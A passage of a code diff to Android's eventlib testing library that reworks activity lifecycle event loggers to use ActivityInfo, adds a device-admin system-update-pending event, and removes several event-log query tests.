+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
@@ -63,33 +63,21 @@
     }
 
     /** Begin logging a {@link ActivityRestartedEvent}. */
-    public static ActivityRestartedEventLogger logger(Activity activity) {
-        return new ActivityRestartedEventLogger(activity);
+    public static ActivityRestartedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
+        return new ActivityRestartedEventLogger(activity, activityInfo);
     }
 
     /** {@link EventLogger} for {@link ActivityRestartedEvent}. */
     public static final class ActivityRestartedEventLogger
             extends EventLogger<ActivityRestartedEvent> {
-        private ActivityRestartedEventLogger(Activity activity) {
+        private ActivityRestartedEventLogger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
             super(activity, new ActivityRestartedEvent());
-            setActivity(activity);
+            setActivity(activityInfo);
         }
 
         /** Set the {@link Activity} being destroyed. */
-        public ActivityRestartedEventLogger setActivity(Activity activity) {
-            mEvent.mActivity = new ActivityInfo(activity);
-            return this;
-        }
-
-        /** Set the {@link Activity} class being destroyed. */
-        public ActivityRestartedEventLogger setActivity(Class<? extends Activity> activityClass) {
-            mEvent.mActivity = new ActivityInfo(activityClass);
-            return this;
-        }
-
-        /** Set the {@link Activity} class name being destroyed. */
-        public ActivityRestartedEventLogger setActivity(String activityClassName) {
-            mEvent.mActivity = new ActivityInfo(activityClassName);
+        public ActivityRestartedEventLogger setActivity(android.content.pm.ActivityInfo activity) {
+            mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
         }
     }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
index 72c3b3b..b04a53a 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
@@ -63,33 +63,21 @@
     }
 
     /** Begin logging a {@link ActivityResumedEvent}. */
-    public static ActivityResumedEventLogger logger(Activity activity) {
-        return new ActivityResumedEventLogger(activity);
+    public static ActivityResumedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
+        return new ActivityResumedEventLogger(activity, activityInfo);
     }
 
     /** {@link EventLogger} for {@link ActivityResumedEvent}. */
     public static final class ActivityResumedEventLogger
             extends EventLogger<ActivityResumedEvent> {
-        private ActivityResumedEventLogger(Activity activity) {
+        private ActivityResumedEventLogger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
             super(activity, new ActivityResumedEvent());
-            setActivity(activity);
+            setActivity(activityInfo);
         }
 
         /** Set the {@link Activity} being destroyed. */
-        public ActivityResumedEventLogger setActivity(Activity activity) {
-            mEvent.mActivity = new ActivityInfo(activity);
-            return this;
-        }
-
-        /** Set the {@link Activity} class being destroyed. */
-        public ActivityResumedEventLogger setActivity(Class<? extends Activity> activityClass) {
-            mEvent.mActivity = new ActivityInfo(activityClass);
-            return this;
-        }
-
-        /** Set the {@link Activity} class name being destroyed. */
-        public ActivityResumedEventLogger setActivity(String activityClassName) {
-            mEvent.mActivity = new ActivityInfo(activityClassName);
+        public ActivityResumedEventLogger setActivity(android.content.pm.ActivityInfo activity) {
+            mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
         }
     }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
index e320980..cb34a74 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
@@ -62,32 +62,21 @@
     }
 
     /** Begin logging a {@link ActivityStartedEvent}. */
-    public static ActivityStartedEventLogger logger(Activity activity) {
-        return new ActivityStartedEventLogger(activity);
+    public static ActivityStartedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
+        return new ActivityStartedEventLogger(activity, activityInfo);
     }
 
     /** {@link EventLogger} for {@link ActivityStartedEvent}. */
     public static final class ActivityStartedEventLogger extends EventLogger<ActivityStartedEvent> {
-        private ActivityStartedEventLogger(Activity activity) {
+        private ActivityStartedEventLogger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
             super(activity, new ActivityStartedEvent());
-            setActivity(activity);
+            setActivity(activityInfo);
         }
 
         /** Set the {@link Activity} being started. */
-        public ActivityStartedEventLogger setActivity(Activity activity) {
-            mEvent.mActivity = new ActivityInfo(activity);
-            return this;
-        }
-
-        /** Set the {@link Activity} class being started. */
-        public ActivityStartedEventLogger setActivity(Class<? extends Activity> activityClass) {
-            mEvent.mActivity = new ActivityInfo(activityClass);
-            return this;
-        }
-
-        /** Set the {@link Activity} class name being started. */
-        public ActivityStartedEventLogger setActivity(String activityClassName) {
-            mEvent.mActivity = new ActivityInfo(activityClassName);
+        public ActivityStartedEventLogger setActivity(
+                android.content.pm.ActivityInfo activity) {
+            mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
         }
     }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
index fd802c7..c512812 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
@@ -62,32 +62,20 @@
     }
 
     /** Begin logging a {@link ActivityStoppedEvent}. */
-    public static ActivityStoppedEventLogger logger(Activity activity) {
-        return new ActivityStoppedEventLogger(activity);
+    public static ActivityStoppedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
+        return new ActivityStoppedEventLogger(activity, activityInfo);
     }
 
     /** {@link EventLogger} for {@link ActivityStoppedEvent}. */
     public static final class ActivityStoppedEventLogger extends EventLogger<ActivityStoppedEvent> {
-        private ActivityStoppedEventLogger(Activity activity) {
+        private ActivityStoppedEventLogger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
             super(activity, new ActivityStoppedEvent());
-            setActivity(activity);
+            setActivity(activityInfo);
         }
 
         /** Set the {@link Activity} being stopped. */
-        public ActivityStoppedEventLogger setActivity(Activity activity) {
-            mEvent.mActivity = new ActivityInfo(activity);
-            return this;
-        }
-
-        /** Set the {@link Activity} class being stopped. */
-        public ActivityStoppedEventLogger setActivity(Class<? extends Activity> activityClass) {
-            mEvent.mActivity = new ActivityInfo(activityClass);
-            return this;
-        }
-
-        /** Set the {@link Activity} class name being stopped. */
-        public ActivityStoppedEventLogger setActivity(String activityClassName) {
-            mEvent.mActivity = new ActivityInfo(activityClassName);
+        public ActivityStoppedEventLogger setActivity(android.content.pm.ActivityInfo activity) {
+            mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
         }
     }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
new file mode 100644
index 0000000..dcf3cff
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQuery;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.LongQuery;
+import com.android.queryable.queries.LongQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/** Event logged when {@link DeviceAdminReceiver#onSystemUpdatePending} is called. */
+public class DeviceAdminSystemUpdatePendingEvent extends Event {
+
+    /** Begin a query for {@link DeviceAdminSystemUpdatePendingEvent} events. */
+    public static DeviceAdminSystemUpdatePendingEventQuery queryPackage(String packageName) {
+        return new DeviceAdminSystemUpdatePendingEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminSystemUpdatePendingEvent}. */
+    public static final class DeviceAdminSystemUpdatePendingEventQuery
+            extends EventLogsQuery<DeviceAdminSystemUpdatePendingEvent,
+                    DeviceAdminSystemUpdatePendingEventQuery> {
+        DeviceAdminReceiverQueryHelper<DeviceAdminSystemUpdatePendingEventQuery>
+                mDeviceAdminReceiver = new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminSystemUpdatePendingEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        LongQueryHelper<DeviceAdminSystemUpdatePendingEventQuery> mReceivedTime =
+                new LongQueryHelper<>(this);
+
+        private DeviceAdminSystemUpdatePendingEventQuery(String packageName) {
+            super(DeviceAdminSystemUpdatePendingEvent.class, packageName);
+        }
+
+        /**
+         * Query {@link Intent} passed into {@link
+         * DeviceAdminReceiver#onPasswordSucceeded(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQuery<DeviceAdminSystemUpdatePendingEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Query {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminSystemUpdatePendingEventQuery>
+        whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /**
+         * Query the received time passed into {@link
+         * DeviceAdminReceiver#onSystemUpdatePending(Context, Intent, long)}.
+         */
+        @CheckResult
+        public LongQuery<DeviceAdminSystemUpdatePendingEventQuery> whereReceivedTime() {
+            return mReceivedTime;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminSystemUpdatePendingEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mReceivedTime.matches(event.mReceivedTime)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link DeviceAdminSystemUpdatePendingEvent}. */
+    public static DeviceAdminSystemUpdatePendingEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver,
+            Context context,
+            Intent intent,
+            long receivedTime) {
+        return new DeviceAdminSystemUpdatePendingEventLogger(
+                deviceAdminReceiver, context, intent, receivedTime);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminSystemUpdatePendingEvent}. */
+    public static final class DeviceAdminSystemUpdatePendingEventLogger
+            extends EventLogger<DeviceAdminSystemUpdatePendingEvent> {
+        private DeviceAdminSystemUpdatePendingEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver,
+                Context context,
+                Intent intent,
+                long receivedTime) {
+            super(context, new DeviceAdminSystemUpdatePendingEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+            setReceivedTime(receivedTime);
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminSystemUpdatePendingEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminSystemUpdatePendingEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminSystemUpdatePendingEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Set the {@link Intent} which was received. */
+        public DeviceAdminSystemUpdatePendingEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Set the received time. */
+        public DeviceAdminSystemUpdatePendingEventLogger setReceivedTime(long receivedTime) {
+            mEvent.mReceivedTime = receivedTime;
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected long mReceivedTime;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into {@link
+     * DeviceAdminReceiver#onPasswordSucceeded(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /**
+     * The received time passed into {@link
+     * DeviceAdminReceiver#onSystemUpdatePending(Context, Intent, long)}.
+     */
+    public long receivedTime() {
+        return mReceivedTime;
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminSystemUpdatePendingEvent{"
+                + " intent=" + intent()
+                + ", receivedTime=" + receivedTime()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
index d0f670c..9989a13 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
@@ -17,6 +17,9 @@
 package com.android.eventlib.premade;
 
 import android.app.Activity;
+import android.content.ComponentName;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.PersistableBundle;
 
@@ -32,7 +35,6 @@
  * An {@link Activity} which logs events for all lifecycle events.
  */
 public class EventLibActivity extends Activity {
-
     private String mOverrideActivityClassName;
 
     public void setOverrideActivityClassName(String overrideActivityClassName) {
@@ -52,6 +54,10 @@
         return EventLibActivity.class.getName();
     }
 
+    public ComponentName getComponentName() {
+        return new ComponentName(getApplication().getPackageName(), getClassName());
+    }
+
     /** Log a {@link ActivityCreatedEvent}. */
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -66,99 +72,69 @@
         logOnCreate(savedInstanceState, persistentState);
     }
 
-    private void logOnCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
-        ActivityCreatedEvent.ActivityCreatedEventLogger logger =
-                ActivityCreatedEvent.logger(this, savedInstanceState)
-                        .setPersistentState(persistentState);
+    private ActivityInfo mActivityInfo = null;
 
-        if (mOverrideActivityClassName != null) {
-            logger.setActivity(mOverrideActivityClassName);
+    private ActivityInfo activityInfo() {
+        if (mActivityInfo != null) {
+            return mActivityInfo;
         }
 
-        logger.log();
+        PackageManager packageManager = getPackageManager();
+        try {
+            mActivityInfo = packageManager.getActivityInfo(getComponentName(), /* flags= */ 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new AssertionError("Cannot find activity", e);
+        }
+
+        return mActivityInfo;
+    }
+
+    private void logOnCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+        ActivityCreatedEvent.logger(this, activityInfo(), savedInstanceState)
+                .setPersistentState(persistentState)
+                .log();
     }
 
     /** Log a {@link ActivityStartedEvent}. */
     @Override
     protected void onStart() {
         super.onStart();
-        ActivityStartedEvent.ActivityStartedEventLogger logger =
-                ActivityStartedEvent.logger(this);
-
-        if (mOverrideActivityClassName != null) {
-            logger.setActivity(mOverrideActivityClassName);
-        }
-
-        logger.log();
+        ActivityStartedEvent.logger(this, activityInfo()).log();
     }
 
     /** Log a {@link ActivityRestartedEvent}. */
     @Override
     protected void onRestart() {
         super.onRestart();
-        ActivityRestartedEvent.ActivityRestartedEventLogger logger =
-                ActivityRestartedEvent.logger(this);
-
-        if (mOverrideActivityClassName != null) {
-            logger.setActivity(mOverrideActivityClassName);
-        }
-
-        logger.log();
+        ActivityRestartedEvent.logger(this, activityInfo()).log();
     }
 
     /** Log a {@link ActivityResumedEvent}. */
     @Override
     protected void onResume() {
         super.onResume();
-        ActivityResumedEvent.ActivityResumedEventLogger logger =
-                ActivityResumedEvent.logger(this);
-
-        if (mOverrideActivityClassName != null) {
-            logger.setActivity(mOverrideActivityClassName);
-        }
-
-        logger.log();
+        ActivityResumedEvent.logger(this, activityInfo()).log();
     }
 
     /** Log a {@link ActivityPausedEvent}. */
     @Override
     protected void onPause() {
         super.onPause();
-        ActivityPausedEvent.ActivityPausedEventLogger logger =
-                ActivityPausedEvent.logger(this);
-
-        if (mOverrideActivityClassName != null) {
-            logger.setActivity(mOverrideActivityClassName);
-        }
-
-        logger.log();
+        ActivityPausedEvent.logger(this, activityInfo()).log();
     }
 
     /** Log a {@link ActivityStoppedEvent}. */
     @Override
     protected void onStop() {
         super.onStop();
-        ActivityStoppedEvent.ActivityStoppedEventLogger logger =
-                ActivityStoppedEvent.logger(this);
-
-        if (mOverrideActivityClassName != null) {
-            logger.setActivity(mOverrideActivityClassName);
-        }
-
-        logger.log();
+        ActivityStoppedEvent.logger(this, activityInfo()).log();
     }
 
     /** Log a {@link ActivityDestroyedEvent}. */
     @Override
     protected void onDestroy() {
         super.onDestroy();
-        ActivityDestroyedEvent.ActivityDestroyedEventLogger logger =
-                ActivityDestroyedEvent.logger(this);
-
-        if (mOverrideActivityClassName != null) {
-            logger.setActivity(mOverrideActivityClassName);
-        }
-
-        logger.log();
+        ActivityDestroyedEvent.logger(this, activityInfo())
+                .log();
     }
 }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java
index 67bc33e..5f99c04 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java
@@ -30,6 +30,7 @@
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordChangedEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordFailedEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordSucceededEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminSystemUpdatePendingEvent;
 
 /** Implementation of {@link DeviceAdminReceiver} which logs events in response to callbacks. */
 public class EventLibDeviceAdminReceiver extends DeviceAdminReceiver {
@@ -202,6 +203,15 @@
 
     @Override
     public void onSystemUpdatePending(Context context, Intent intent, long receivedTime) {
+        DeviceAdminSystemUpdatePendingEvent.DeviceAdminSystemUpdatePendingEventLogger logger =
+                DeviceAdminSystemUpdatePendingEvent.logger(this, context, intent, receivedTime);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onSystemUpdatePending(context, intent, receivedTime);
     }
 
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
index db9cb20..9bec756 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
@@ -37,10 +37,11 @@
 import org.junit.After;
 import org.junit.AfterClass;
 import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
-import org.testng.annotations.BeforeClass;
 
 import java.time.Duration;
 import java.util.concurrent.Executors;
@@ -99,50 +100,6 @@
     }
 
     @Test
-    public void resetLogs_get_doesNotReturnLogs() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .log();
-
-        EventLogs.resetLogs();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.get()).isNull();
-    }
-
-    @Test
-    public void resetLogs_differentPackage_get_doesNotReturnLogs() {
-        logCustomEventOnTestApp();
-
-        EventLogs.resetLogs();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-        assertThat(eventLogs.get()).isNull();
-    }
-
-    @Test
-    public void resetLogs_next_doesNotReturnLogs() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .log();
-
-        EventLogs.resetLogs();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
-    public void resetLogs_differentPackage_next_doesNotReturnLogs() {
-        logCustomEventOnTestApp();
-
-        EventLogs.resetLogs();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
     public void resetLogs_poll_doesNotReturnLogs() {
         CustomEvent.logger(sContext)
                 .setTag(TEST_TAG1)
@@ -165,38 +122,6 @@
     }
 
     @Test
-    public void get_nothingLogged_returnsNull() {
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.get()).isNull();
-    }
-
-    @Test
-    public void get_differentPackage_nothingLogged_returnsNull() {
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.get()).isNull();
-    }
-
-    @Test
-    public void next_nothingLogged_returnsNull() {
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
-    public void next_differentPackage_nothingLogged_returnsNull() {
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
     public void poll_nothingLogged_returnsNull() {
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
                 .whereTag().isEqualTo(TEST_TAG1);
@@ -231,28 +156,6 @@
     }
 
     @Test
-    public void get_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
-        CustomEvent.logger(sContext).setTag(TEST_TAG1).setData(DATA_2).log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.get().data()).isEqualTo(DATA_2);
-    }
-
-    @Test
-    public void next_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
-        CustomEvent.logger(sContext).setTag(TEST_TAG1).setData(DATA_2).log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
-    }
-
-    @Test
     public void poll_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
         logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
         CustomEvent.logger(sContext).setTag(TEST_TAG1).setData(DATA_2).log();
@@ -264,55 +167,6 @@
     }
 
     @Test
-    public void get_alreadyLogged_returnsEvent() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.get()).isNotNull();
-    }
-
-    @Test
-    public void get_differentPackage_alreadyLogged_returnsEvent() {
-        logCustomEventOnTestApp();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-
-        assertThat(eventLogs.get()).isNotNull();
-    }
-
-    @Test
-    public void next_alreadyLogged_returnsFirstEvent() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .setData(DATA_1)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .setData(DATA_2)
-                .log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.next().data()).isEqualTo(DATA_1);
-    }
-
-    @Test
-    public void next_differentPackage_alreadyLogged_returnsFirstEvent() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.next().data()).isEqualTo(DATA_1);
-    }
-
-    @Test
     public void poll_alreadyLogged_returnsFirstEvent() {
         CustomEvent.logger(sContext)
                 .setTag(TEST_TAG1)
@@ -341,28 +195,6 @@
     }
 
     @Test
-    public void next_hasReturnedAllEvents_returnsNull() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .log();
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-        eventLogs.next();
-
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
-    public void next_differentPackage_hasReturnedAllEvents_returnsNull() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .whereTag().isEqualTo(TEST_TAG1);
-        eventLogs.next();
-
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
     public void poll_hasReturnedAllEvents_returnsNull() {
         CustomEvent.logger(sContext)
                 .setTag(TEST_TAG1)
@@ -385,90 +217,6 @@
     }
 
     @Test
-    public void next_previouslyCalledNext_returnsNextUnseenEvent() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .setData(DATA_1)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .setData(DATA_2)
-                .log();
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-        eventLogs.next();
-
-        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
-    }
-
-    @Test
-    public void next_differentPackage_previouslyCalledNext_returnsNextUnseenEvent() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .whereTag().isEqualTo(TEST_TAG1);
-        eventLogs.next();
-
-        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
-    }
-
-    @Test
-    public void next_previouslyPolled_returnsNextUnseenEvent() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .setData(DATA_1)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .setData(DATA_2)
-                .log();
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-        eventLogs.poll();
-
-        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
-    }
-
-    @Test
-    public void next_differentPackage_previouslyPolled_returnsNextUnseenEvent() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .whereTag().isEqualTo(TEST_TAG1);
-        eventLogs.poll();
-
